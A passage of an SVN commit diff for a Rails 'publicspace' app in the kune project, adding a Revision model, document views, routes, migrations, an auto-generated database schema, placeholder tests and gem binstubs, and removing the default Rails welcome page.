+++ trunk/src/main/rails/publicspace/app/models/revision.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+class Revision < ActiveRecord::Base
+end

Added: trunk/src/main/rails/publicspace/app/views/documents/index.html.erb
===================================================================
--- trunk/src/main/rails/publicspace/app/views/documents/index.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/rails/publicspace/app/views/documents/index.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+<h1>Los contenidos</h1>
+<% for doc in @contents %>
+  <%= doc.last_revision.title %><br/>
+<% end %>
\ No newline at end of file

Added: trunk/src/main/rails/publicspace/app/views/layouts/documents.html.erb
===================================================================
--- trunk/src/main/rails/publicspace/app/views/layouts/documents.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/rails/publicspace/app/views/layouts/documents.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,11 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+  <head>
+    <meta http-equiv="content-type" content="text/html; charset=utf-8" />
+    <link rel="icon" href="images/xy/favicon.ico" type="image/x-icon">
+      <title>kune</title>
+  </head>
+  <body>
+    <%= yield %>
+  </body>
+</html>

Modified: trunk/src/main/rails/publicspace/config/routes.rb
===================================================================
--- trunk/src/main/rails/publicspace/config/routes.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/rails/publicspace/config/routes.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -1,43 +1,5 @@
 ActionController::Routing::Routes.draw do |map|
-  # The priority is based upon order of creation: first created -> highest priority.
-
-  # Sample of regular route:
-  #   map.connect 'products/:id', :controller => 'catalog', :action => 'view'
-  # Keep in mind you can assign values other than :controller and :action
-
-  # Sample of named route:
-  #   map.purchase 'products/:id/purchase', :controller => 'catalog', :action => 'purchase'
-  # This route can be invoked with purchase_url(:id => product.id)
-
-  # Sample resource route (maps HTTP verbs to controller actions automatically):
-  #   map.resources :products
-
-  # Sample resource route with options:
-  #   map.resources :products, :member => { :short => :get, :toggle => :post }, :collection => { :sold => :get }
-
-  # Sample resource route with sub-resources:
-  #   map.resources :products, :has_many => [ :comments, :sales ], :has_one => :seller
-  
-  # Sample resource route with more complex sub-resources
-  #   map.resources :products do |products|
-  #     products.resources :comments
-  #     products.resources :sales, :collection => { :recent => :get }
-  #   end
-
-  # Sample resource route within a namespace:
-  #   map.namespace :admin do |admin|
-  #     # Directs /admin/products/* to Admin::ProductsController (app/controllers/admin/products_controller.rb)
-  #     admin.resources :products
-  #   end
-
-  # You can have the root of your site routed with map.root -- just remember to delete public/index.html.
-  # map.root :controller => "welcome"
-
-  # See how all your routes lay out with "rake routes"
-
-  # Install the default routes as the lowest priority.
-  # Note: These default routes make all actions in every controller accessible via GET requests. You should
-  # consider removing the them or commenting them out if you're using named routes and resources.
-  map.connect ':controller/:action/:id'
-  map.connect ':controller/:action/:id.:format'
+  map.root :controller => 'documents'
+  map.connect '/public/:controller/:action/:id'
+  map.connect '/public/:controller/:action/:id.:format'
 end

Added: trunk/src/main/rails/publicspace/db/migrate/20081220204215_create_revisions.rb
===================================================================
--- trunk/src/main/rails/publicspace/db/migrate/20081220204215_create_revisions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/rails/publicspace/db/migrate/20081220204215_create_revisions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+class CreateRevisions < ActiveRecord::Migration
+  def self.up
+    create_table :revisions do |t|
+
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :revisions
+  end
+end

Added: trunk/src/main/rails/publicspace/db/migrate/20081220204222_create_contents.rb
===================================================================
--- trunk/src/main/rails/publicspace/db/migrate/20081220204222_create_contents.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/rails/publicspace/db/migrate/20081220204222_create_contents.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+class CreateContents < ActiveRecord::Migration
+  def self.up
+    create_table :contents do |t|
+
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :contents
+  end
+end

Added: trunk/src/main/rails/publicspace/db/schema.rb
===================================================================
--- trunk/src/main/rails/publicspace/db/schema.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/rails/publicspace/db/schema.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,302 @@
+# This file is auto-generated from the current state of the database. Instead of editing this file, 
+# please use the migrations feature of Active Record to incrementally modify your database, and
+# then regenerate this schema definition.
+#
+# Note that this schema.rb definition is the authoritative source for your database schema. If you need
+# to create the application database on another system, you should be using db:schema:load, not running
+# all the migrations from scratch. The latter is a flawed and unsustainable approach (the more migrations
+# you'll amass, the slower it'll run and the greater likelihood for issues).
+#
+# It's strongly recommended to check this file into your version control system.
+
+ActiveRecord::Schema.define(:version => 0) do
+
+  create_table "DATABASECHANGELOG", :id => false, :force => true do |t|
+    t.string   "ID",           :limit => 63,  :null => false
+    t.string   "AUTHOR",       :limit => 63,  :null => false
+    t.string   "FILENAME",     :limit => 200, :null => false
+    t.datetime "DATEEXECUTED",                :null => false
+    t.string   "MD5SUM",       :limit => 32
+    t.string   "DESCRIPTION"
+    t.string   "COMMENTS"
+    t.string   "TAG"
+    t.string   "LIQUIBASE",    :limit => 10
+  end
+
+  create_table "DATABASECHANGELOGLOCK", :primary_key => "ID", :force => true do |t|
+    t.boolean  "LOCKED",      :null => false
+    t.datetime "LOCKGRANTED"
+    t.string   "LOCKEDBY"
+  end
+
+  create_table "access_lists", :force => true do |t|
+    t.integer "admins_id",  :limit => 8
+    t.integer "viewers_id", :limit => 8
+    t.integer "editors_id", :limit => 8
+  end
+
+  add_index "access_lists", ["admins_id"], :name => "FK8BFAE0FA363215C7"
+  add_index "access_lists", ["editors_id"], :name => "FK8BFAE0FAD81FF4E5"
+  add_index "access_lists", ["viewers_id"], :name => "FK8BFAE0FAE4742B0A"
+
+  create_table "comment", :force => true do |t|
+    t.integer "publishedOn", :limit => 8, :null => false
+    t.string  "text"
+    t.integer "parent_id",   :limit => 8
+    t.integer "content_id",  :limit => 8
+    t.integer "author_id",   :limit => 8
+  end
+
+  add_index "comment", ["author_id"], :name => "FK38A5EE5FFC0AA1C6"
+  add_index "comment", ["content_id"], :name => "FK38A5EE5F855E2DEE"
+  add_index "comment", ["parent_id"], :name => "FK38A5EE5FF0EEDA03"
+
+  create_table "comment_kusers", :id => false, :force => true do |t|
+    t.integer "comment_id",        :limit => 8, :null => false
+    t.integer "positiveVoters_id", :limit => 8, :null => false
+    t.integer "negativeVoters_id", :limit => 8, :null => false
+    t.integer "abuseInformers_id", :limit => 8, :null => false
+  end
+
+  add_index "comment_kusers", ["abuseInformers_id"], :name => "FKF6AF0E5D6C19357A"
+  add_index "comment_kusers", ["comment_id"], :name => "FKF6AF0E5DAB201C2E"
+  add_index "comment_kusers", ["negativeVoters_id"], :name => "FKF6AF0E5D52E7C011"
+  add_index "comment_kusers", ["positiveVoters_id"], :name => "FKF6AF0E5D9256ECD"
+
+  create_table "container_translation", :force => true do |t|
+    t.string  "name"
+    t.integer "language_id", :limit => 8
+  end
+
+  add_index "container_translation", ["language_id"], :name => "FK312BE3F3DE7DCA4"
+
+  create_table "containers", :force => true do |t|
+    t.string  "name"
+    t.string  "toolName"
+    t.string  "typeId"
+    t.integer "parent_id",      :limit => 8
+    t.integer "accessLists_id", :limit => 8
+    t.integer "language_id",    :limit => 8
+    t.integer "owner_id",       :limit => 8
+  end
+
+  add_index "containers", ["accessLists_id"], :name => "FK8A844122BE828CE"
+  add_index "containers", ["language_id"], :name => "FK8A84412DE7DCA4"
+  add_index "containers", ["owner_id"], :name => "FK8A84412411D747A"
+  add_index "containers", ["parent_id"], :name => "FK8A84412F026D325"
+
+  create_table "containers_container_translation", :primary_key => "containerTranslations_id", :force => true do |t|
+    t.integer "containers_id", :limit => 8, :null => false
+  end
+
+  add_index "containers_container_translation", ["containerTranslations_id"], :name => "FK1BA62F86CF990D13"
+  add_index "containers_container_translation", ["containerTranslations_id"], :name => "containerTranslations_id", :unique => true
+  add_index "containers_container_translation", ["containers_id"], :name => "FK1BA62F86EA0AFEBD"
+
+  create_table "containers_containers", :id => false, :force => true do |t|
+    t.integer "containers_id",   :limit => 8, :null => false
+    t.integer "absolutePath_id", :limit => 8, :null => false
+  end
+
+  add_index "containers_containers", ["absolutePath_id"], :name => "FK8249765FE465B073"
+  add_index "containers_containers", ["containers_id"], :name => "FK8249765FEA0AFEBD"
+
+  create_table "content_translations", :force => true do |t|
+    t.integer "contentId",   :limit => 8
+    t.integer "language_id", :limit => 8
+  end
+
+  add_index "content_translations", ["language_id"], :name => "FKF10565E8DE7DCA4"
+
+  create_table "contents", :force => true do |t|
+    t.integer  "createdOn",       :limit => 8, :null => false
+    t.datetime "deletedOn"
+    t.string   "filename"
+    t.string   "subtype"
+    t.string   "type"
+    t.datetime "publishedOn"
+    t.string   "status",                       :null => false
+    t.string   "typeId"
+    t.integer  "version",                      :null => false
+    t.integer  "language_id",     :limit => 8, :null => false
+    t.integer  "lastRevision_id", :limit => 8
+    t.integer  "container_id",    :limit => 8
+    t.integer  "license_id",      :limit => 8
+    t.integer  "accessLists_id",  :limit => 8
+  end
+
+  add_index "contents", ["accessLists_id"], :name => "FKDE2F5B1A2BE828CE"
+  add_index "contents", ["container_id"], :name => "FKDE2F5B1AF4676BEE"
+  add_index "contents", ["language_id"], :name => "FKDE2F5B1ADE7DCA4"
+  add_index "contents", ["lastRevision_id"], :name => "FKDE2F5B1A8D6FD330"
+  add_index "contents", ["license_id"], :name => "FKDE2F5B1AF302B8EE"
+
+  create_table "contents_content_translations", :primary_key => "translations_id", :force => true do |t|
+    t.integer "contents_id", :limit => 8, :null => false
+  end
+
+  add_index "contents_content_translations", ["contents_id"], :name => "FKF5E4F9ED5E7577AD"
+  add_index "contents_content_translations", ["translations_id"], :name => "FKF5E4F9ED2F9273BC"
+  add_index "contents_content_translations", ["translations_id"], :name => "translations_id", :unique => true
+
+  create_table "contents_kusers", :id => false, :force => true do |t|
+    t.integer "contents_id", :limit => 8, :null => false
+    t.integer "authors_id",  :limit => 8, :null => false
+  end
+
+  add_index "contents_kusers", ["authors_id"], :name => "FK956FE9424AA7DDE9"
+  add_index "contents_kusers", ["contents_id"], :name => "FK956FE9425E7577AD"
+
+  create_table "contents_tags", :id => false, :force => true do |t|
+    t.integer "contents_id", :limit => 8, :null => false
+    t.integer "tags_id",     :limit => 8, :null => false
+  end
+
+  add_index "contents_tags", ["contents_id"], :name => "FK2200721E5E7577AD"
+  add_index "contents_tags", ["tags_id"], :name => "FK2200721E66F49F6F"
+
+  create_table "customproperties", :force => true do |t|
+    t.binary "data"
+  end
+
+  create_table "globalize_countries", :force => true do |t|
+    t.string "code",                   :limit => 2
+    t.string "currency_code",          :limit => 3
+    t.string "currency_decimal_sep",   :limit => 2
+    t.string "currency_format"
+    t.string "date_format"
+    t.string "decimal_sep",            :limit => 2
+    t.string "english_name"
+    t.string "number_grouping_scheme"
+    t.string "thousands_sep",          :limit => 2
+  end
+
+  add_index "globalize_countries", ["id"], :name => "id", :unique => true
+
+# Could not dump table "globalize_languages" because of following StandardError
+#   Unknown type 'bit(1)' for column 'macro_language'
+
+  create_table "globalize_translations", :force => true do |t|
+    t.string  "facet"
+    t.integer "item_id"
+    t.integer "pluralization_index"
+    t.string  "table_name"
+    t.string  "text"
+    t.string  "tr_key"
+    t.string  "type"
+    t.integer "language_id",         :limit => 8
+  end
+
+  add_index "globalize_translations", ["id"], :name => "id", :unique => true
+  add_index "globalize_translations", ["language_id"], :name => "FKCB245A90DE7DCA4"
+
+  create_table "group_list", :force => true do |t|
+    t.integer "mode"
+  end
+
+  create_table "group_list_groups", :id => false, :force => true do |t|
+    t.integer "group_list_id", :limit => 8, :null => false
+    t.integer "list_id",       :limit => 8, :null => false
+  end
+
+  add_index "group_list_groups", ["group_list_id"], :name => "FK531B66D542BCDC2D"
+  add_index "group_list_groups", ["list_id"], :name => "FK531B66D5E8D46AAF"
+
+  create_table "groups", :force => true do |t|
+    t.string  "admissionType",                   :null => false
+    t.string  "groupType",                       :null => false
+    t.binary  "logo"
+    t.string  "subtype"
+    t.string  "type"
+    t.string  "longName",          :limit => 50
+    t.string  "shortName",         :limit => 15
+    t.string  "workspaceTheme"
+    t.integer "defaultLicense_id", :limit => 8
+    t.integer "socialNetwork_id",  :limit => 8
+    t.integer "defaultContent_id", :limit => 8
+    t.integer "groupFullLogo_id",  :limit => 8
+  end
+
+  add_index "groups", ["defaultContent_id"], :name => "FKB63DD9D4212FE6EF"
+  add_index "groups", ["defaultLicense_id"], :name => "FKB63DD9D48ED471EF"
+  add_index "groups", ["groupFullLogo_id"], :name => "FKB63DD9D4F6BBBA2E"
+  add_index "groups", ["longName"], :name => "longName", :unique => true
+  add_index "groups", ["shortName"], :name => "shortName", :unique => true
+  add_index "groups", ["socialNetwork_id"], :name => "FKB63DD9D4AC6815CE"
+
+  create_table "groups_tool_configurations", :id => false, :force => true do |t|
+    t.integer "groups_id",      :limit => 8,                 :null => false
+    t.integer "toolsConfig_id", :limit => 8,                 :null => false
+    t.string  "mapkey",                      :default => "", :null => false
+  end
+
+  add_index "groups_tool_configurations", ["groups_id"], :name => "FK1CDF00D985A52DB9"
+  add_index "groups_tool_configurations", ["toolsConfig_id"], :name => "FK1CDF00D9DCE07FCF"
+  add_index "groups_tool_configurations", ["toolsConfig_id"], :name => "toolsConfig_id", :unique => true
+
+  create_table "kusers", :force => true do |t|
+    t.integer "buddiesVisibility"
+    t.string  "email",                             :null => false
+    t.string  "name",                :limit => 50, :null => false
+    t.string  "password",            :limit => 40, :null => false
+    t.string  "shortName",           :limit => 15
+    t.string  "timezone",                          :null => false
+    t.integer "customProperties_id", :limit => 8
+    t.integer "country_id",          :limit => 8,  :null => false
+    t.integer "language_id",         :limit => 8,  :null => false
+    t.integer "userGroup_id",        :limit => 8
+  end
+
+  add_index "kusers", ["country_id"], :name => "FKBD3D187D7E2112D0"
+  add_index "kusers", ["customProperties_id"], :name => "FKBD3D187D7F551706"
+  add_index "kusers", ["email"], :name => "email", :unique => true
+  add_index "kusers", ["language_id"], :name => "FKBD3D187DDE7DCA4"
+  add_index "kusers", ["shortName"], :name => "shortName", :unique => true
+  add_index "kusers", ["userGroup_id"], :name => "FKBD3D187DCA8A3DF9"
+
+# Could not dump table "licenses" because of following StandardError
+#   Unknown type 'bit(1)' for column 'isCC'
+
+  create_table "rates", :force => true do |t|
+    t.float   "value"
+    t.integer "content_id", :limit => 8
+    t.integer "rater_id",   :limit => 8
+  end
+
+  add_index "rates", ["content_id", "rater_id"], :name => "content_id", :unique => true
+  add_index "rates", ["content_id"], :name => "FK6744F93855E2DEE"
+  add_index "rates", ["rater_id"], :name => "FK6744F93BD4FE25F"
+
+  create_table "revisions", :force => true do |t|
+    t.text    "body",        :limit => 2147483647
+    t.integer "createdOn",   :limit => 8,          :null => false
+    t.string  "title"
+    t.integer "version",                           :null => false
+    t.integer "editor_id",   :limit => 8
+    t.integer "previous_id", :limit => 8
+    t.integer "content_id",  :limit => 8
+  end
+
+  add_index "revisions", ["content_id"], :name => "FK1E2243F8855E2DEE"
+  add_index "revisions", ["editor_id"], :name => "FK1E2243F835BDFEA4"
+  add_index "revisions", ["previous_id"], :name => "FK1E2243F813E596EA"
+
+  create_table "social_networks", :force => true do |t|
+    t.integer "visibility"
+    t.integer "pendingCollaborators_id", :limit => 8
+    t.integer "accessLists_id",          :limit => 8
+  end
+
+  add_index "social_networks", ["accessLists_id"], :name => "FK7E9610972BE828CE"
+  add_index "social_networks", ["pendingCollaborators_id"], :name => "FK7E961097F7434A95"
+
+  create_table "tags", :force => true do |t|
+    t.string "name"
+  end
+
+  add_index "tags", ["name"], :name => "name", :unique => true
+
+# Could not dump table "tool_configurations" because of following StandardError
+#   Unknown type 'bit(1)' for column 'enabled'
+
+end

Deleted: trunk/src/main/rails/publicspace/public/index.html
===================================================================
--- trunk/src/main/rails/publicspace/public/index.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/rails/publicspace/public/index.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -1,274 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html>
-  <head>
-    <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
-    <title>Ruby on Rails: Welcome aboard</title>
-    <style type="text/css" media="screen">
-      body {
-        margin: 0;
-        margin-bottom: 25px;
-        padding: 0;
-        background-color: #f0f0f0;
-        font-family: "Lucida Grande", "Bitstream Vera Sans", "Verdana";
-        font-size: 13px;
-        color: #333;
-      }
-      
-      h1 {
-        font-size: 28px;
-        color: #000;
-      }
-      
-      a  {color: #03c}
-      a:hover {
-        background-color: #03c;
-        color: white;
-        text-decoration: none;
-      }
-      
-      
-      #page {
-        background-color: #f0f0f0;
-        width: 750px;
-        margin: 0;
-        margin-left: auto;
-        margin-right: auto;
-      }
-      
-      #content {
-        float: left;
-        background-color: white;
-        border: 3px solid #aaa;
-        border-top: none;
-        padding: 25px;
-        width: 500px;
-      }
-      
-      #sidebar {
-        float: right;
-        width: 175px;
-      }
-
-      #footer {
-        clear: both;
-      }
-      
-
-      #header, #about, #getting-started {
-        padding-left: 75px;
-        padding-right: 30px;
-      }
-
-
-      #header {
-        background-image: url("images/rails.png");
-        background-repeat: no-repeat;
-        background-position: top left;
-        height: 64px;
-      }
-      #header h1, #header h2 {margin: 0}
-      #header h2 {
-        color: #888;
-        font-weight: normal;
-        font-size: 16px;
-      }
-      
-      
-      #about h3 {
-        margin: 0;
-        margin-bottom: 10px;
-        font-size: 14px;
-      }
-      
-      #about-content {
-        background-color: #ffd;
-        border: 1px solid #fc0;
-        margin-left: -11px;
-      }
-      #about-content table {
-        margin-top: 10px;
-        margin-bottom: 10px;
-        font-size: 11px;
-        border-collapse: collapse;
-      }
-      #about-content td {
-        padding: 10px;
-        padding-top: 3px;
-        padding-bottom: 3px;
-      }
-      #about-content td.name  {color: #555}
-      #about-content td.value {color: #000}
-      
-      #about-content.failure {
-        background-color: #fcc;
-        border: 1px solid #f00;
-      }
-      #about-content.failure p {
-        margin: 0;
-        padding: 10px;
-      }
-      
-      
-      #getting-started {
-        border-top: 1px solid #ccc;
-        margin-top: 25px;
-        padding-top: 15px;
-      }
-      #getting-started h1 {
-        margin: 0;
-        font-size: 20px;
-      }
-      #getting-started h2 {
-        margin: 0;
-        font-size: 14px;
-        font-weight: normal;
-        color: #333;
-        margin-bottom: 25px;
-      }
-      #getting-started ol {
-        margin-left: 0;
-        padding-left: 0;
-      }
-      #getting-started li {
-        font-size: 18px;
-        color: #888;
-        margin-bottom: 25px;
-      }
-      #getting-started li h2 {
-        margin: 0;
-        font-weight: normal;
-        font-size: 18px;
-        color: #333;
-      }
-      #getting-started li p {
-        color: #555;
-        font-size: 13px;
-      }
-      
-      
-      #search {
-        margin: 0;
-        padding-top: 10px;
-        padding-bottom: 10px;
-        font-size: 11px;
-      }
-      #search input {
-        font-size: 11px;
-        margin: 2px;
-      }
-      #search-text {width: 170px}
-      
-      
-      #sidebar ul {
-        margin-left: 0;
-        padding-left: 0;
-      }
-      #sidebar ul h3 {
-        margin-top: 25px;
-        font-size: 16px;
-        padding-bottom: 10px;
-        border-bottom: 1px solid #ccc;
-      }
-      #sidebar li {
-        list-style-type: none;
-      }
-      #sidebar ul.links li {
-        margin-bottom: 5px;
-      }
-      
-    </style>
-    <script type="text/javascript" src="javascripts/prototype.js"></script>
-    <script type="text/javascript" src="javascripts/effects.js"></script>
-    <script type="text/javascript">
-      function about() {
-        if (Element.empty('about-content')) {
-          new Ajax.Updater('about-content', 'rails/info/properties', {
-            method:     'get',
-            onFailure:  function() {Element.classNames('about-content').add('failure')},
-            onComplete: function() {new Effect.BlindDown('about-content', {duration: 0.25})}
-          });
-        } else {
-          new Effect[Element.visible('about-content') ? 
-            'BlindUp' : 'BlindDown']('about-content', {duration: 0.25});
-        }
-      }
-      
-      window.onload = function() {
-        $('search-text').value = '';
-        $('search').onsubmit = function() {
-          $('search-text').value = 'site:rubyonrails.org ' + $F('search-text');
-        }
-      }
-    </script>
-  </head>
-  <body>
-    <div id="page">
-      <div id="sidebar">
-        <ul id="sidebar-items">
-          <li>
-            <form id="search" action="http://www.google.com/search" method="get">
-              <input type="hidden" name="hl" value="en" />
-              <input type="text" id="search-text" name="q" value="site:rubyonrails.org " />
-              <input type="submit" value="Search" /> the Rails site
-            </form>
-          </li>
-        
-          <li>
-            <h3>Join the community</h3>
-            <ul class="links">
-              <li><a href="http://www.rubyonrails.org/">Ruby on Rails</a></li>
-              <li><a href="http://weblog.rubyonrails.org/">Official weblog</a></li>
-              <li><a href="http://wiki.rubyonrails.org/">Wiki</a></li>
-            </ul>
-          </li>
-          
-          <li>
-            <h3>Browse the documentation</h3>
-            <ul class="links">
-              <li><a href="http://api.rubyonrails.org/">Rails API</a></li>
-              <li><a href="http://stdlib.rubyonrails.org/">Ruby standard library</a></li>
-              <li><a href="http://corelib.rubyonrails.org/">Ruby core</a></li>
-            </ul>
-          </li>
-        </ul>
-      </div>
-
-      <div id="content">
-        <div id="header">
-          <h1>Welcome aboard</h1>
-          <h2>You&rsquo;re riding Ruby on Rails!</h2>
-        </div>
-
-        <div id="about">
-          <h3><a href="rails/info/properties" onclick="about(); return false">About your application&rsquo;s environment</a></h3>
-          <div id="about-content" style="display: none"></div>
-        </div>
-        
-        <div id="getting-started">
-          <h1>Getting started</h1>
-          <h2>Here&rsquo;s how to get rolling:</h2>
-          
-          <ol>          
-            <li>
-              <h2>Use <tt>script/generate</tt> to create your models and controllers</h2>
-              <p>To see all available options, run it without parameters.</p>
-            </li>
-            
-            <li>
-              <h2>Set up a default route and remove or rename this file</h2>
-              <p>Routes are set up in config/routes.rb.</p>
-            </li>
-
-            <li>
-              <h2>Create your database</h2>
-              <p>Run <tt>rake db:migrate</tt> to create your database. If you're not using SQLite (the default), edit <tt>config/database.yml</tt> with your username and password.</p>
-            </li>
-          </ol>
-        </div>
-      </div>
-      
-      <div id="footer">&nbsp;</div>
-    </div>
-  </body>
-</html>
\ No newline at end of file

Added: trunk/src/main/rails/publicspace/test/fixtures/contents.yml
===================================================================
--- trunk/src/main/rails/publicspace/test/fixtures/contents.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/rails/publicspace/test/fixtures/contents.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+# Read about fixtures at http://ar.rubyonrails.org/classes/Fixtures.html
+
+# one:
+#   column: value
+#
+# two:
+#   column: value

Added: trunk/src/main/rails/publicspace/test/fixtures/revisions.yml
===================================================================
--- trunk/src/main/rails/publicspace/test/fixtures/revisions.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/rails/publicspace/test/fixtures/revisions.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+# Read about fixtures at http://ar.rubyonrails.org/classes/Fixtures.html
+
+# one:
+#   column: value
+#
+# two:
+#   column: value

Added: trunk/src/main/rails/publicspace/test/functional/documents_controller_test.rb
===================================================================
--- trunk/src/main/rails/publicspace/test/functional/documents_controller_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/rails/publicspace/test/functional/documents_controller_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,8 @@
+require 'test_helper'
+
+class DocumentsControllerTest < ActionController::TestCase
+  # Replace this with your real tests.
+  test "the truth" do
+    assert true
+  end
+end

Added: trunk/src/main/rails/publicspace/test/unit/content_test.rb
===================================================================
--- trunk/src/main/rails/publicspace/test/unit/content_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/rails/publicspace/test/unit/content_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,8 @@
+require 'test_helper'
+
+class ContentTest < ActiveSupport::TestCase
+  # Replace this with your real tests.
+  test "the truth" do
+    assert true
+  end
+end

Added: trunk/src/main/rails/publicspace/test/unit/revision_test.rb
===================================================================
--- trunk/src/main/rails/publicspace/test/unit/revision_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/rails/publicspace/test/unit/revision_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,8 @@
+require 'test_helper'
+
+class RevisionTest < ActiveSupport::TestCase
+  # Replace this with your real tests.
+  test "the truth" do
+    assert true
+  end
+end


Property changes on: trunk/src/main/webapp/WEB-INF
___________________________________________________________________
Name: svn:ignore
   + file:


Added: trunk/src/main/webapp/WEB-INF/gems/bin/rails
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/bin/rails	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/bin/rails	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,19 @@
+#!/usr/bin/ruby1.8
+#
+# This file was generated by RubyGems.
+#
+# The application 'rails' is installed as part of a gem, and
+# this file is here to facilitate running it.
+#
+
+require 'rubygems'
+
+version = ">= 0"
+
+if ARGV.first =~ /^_(.*)_$/ and Gem::Version.correct? $1 then
+  version = $1
+  ARGV.shift
+end
+
+gem 'rails', version
+load 'rails'


Property changes on: trunk/src/main/webapp/WEB-INF/gems/bin/rails
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/bin/rake
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/bin/rake	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/bin/rake	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,19 @@
+#!/usr/bin/ruby1.8
+#
+# This file was generated by RubyGems.
+#
+# The application 'rake' is installed as part of a gem, and
+# this file is here to facilitate running it.
+#
+
+require 'rubygems'
+
+version = ">= 0"
+
+if ARGV.first =~ /^_(.*)_$/ and Gem::Version.correct? $1 then
+  version = $1
+  ARGV.shift
+end
+
+gem 'rake', version
+load 'rake'


Property changes on: trunk/src/main/webapp/WEB-INF/gems/bin/rake
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/cache/actionmailer-2.2.2.gem
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/cache/actionmailer-2.2.2.gem
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/cache/actionpack-2.2.2.gem
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/cache/actionpack-2.2.2.gem
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/cache/activerecord-2.2.2.gem
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/cache/activerecord-2.2.2.gem
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/cache/activerecord-jdbc-adapter-0.9.gem
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/cache/activerecord-jdbc-adapter-0.9.gem
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/cache/activerecord-jdbcmysql-adapter-0.9.gem
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/cache/activerecord-jdbcmysql-adapter-0.9.gem
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/cache/activeresource-2.2.2.gem
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/cache/activeresource-2.2.2.gem
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/cache/activesupport-2.2.2.gem
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/cache/activesupport-2.2.2.gem
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/cache/jdbc-mysql-5.0.4.gem
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/cache/jdbc-mysql-5.0.4.gem
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/cache/jruby-openssl-0.3.gem
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/cache/jruby-openssl-0.3.gem
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/cache/rails-2.2.2.gem
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/cache/rails-2.2.2.gem
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/cache/rake-0.8.3.gem
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/cache/rake-0.8.3.gem
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/CHANGELOG
===================================================================
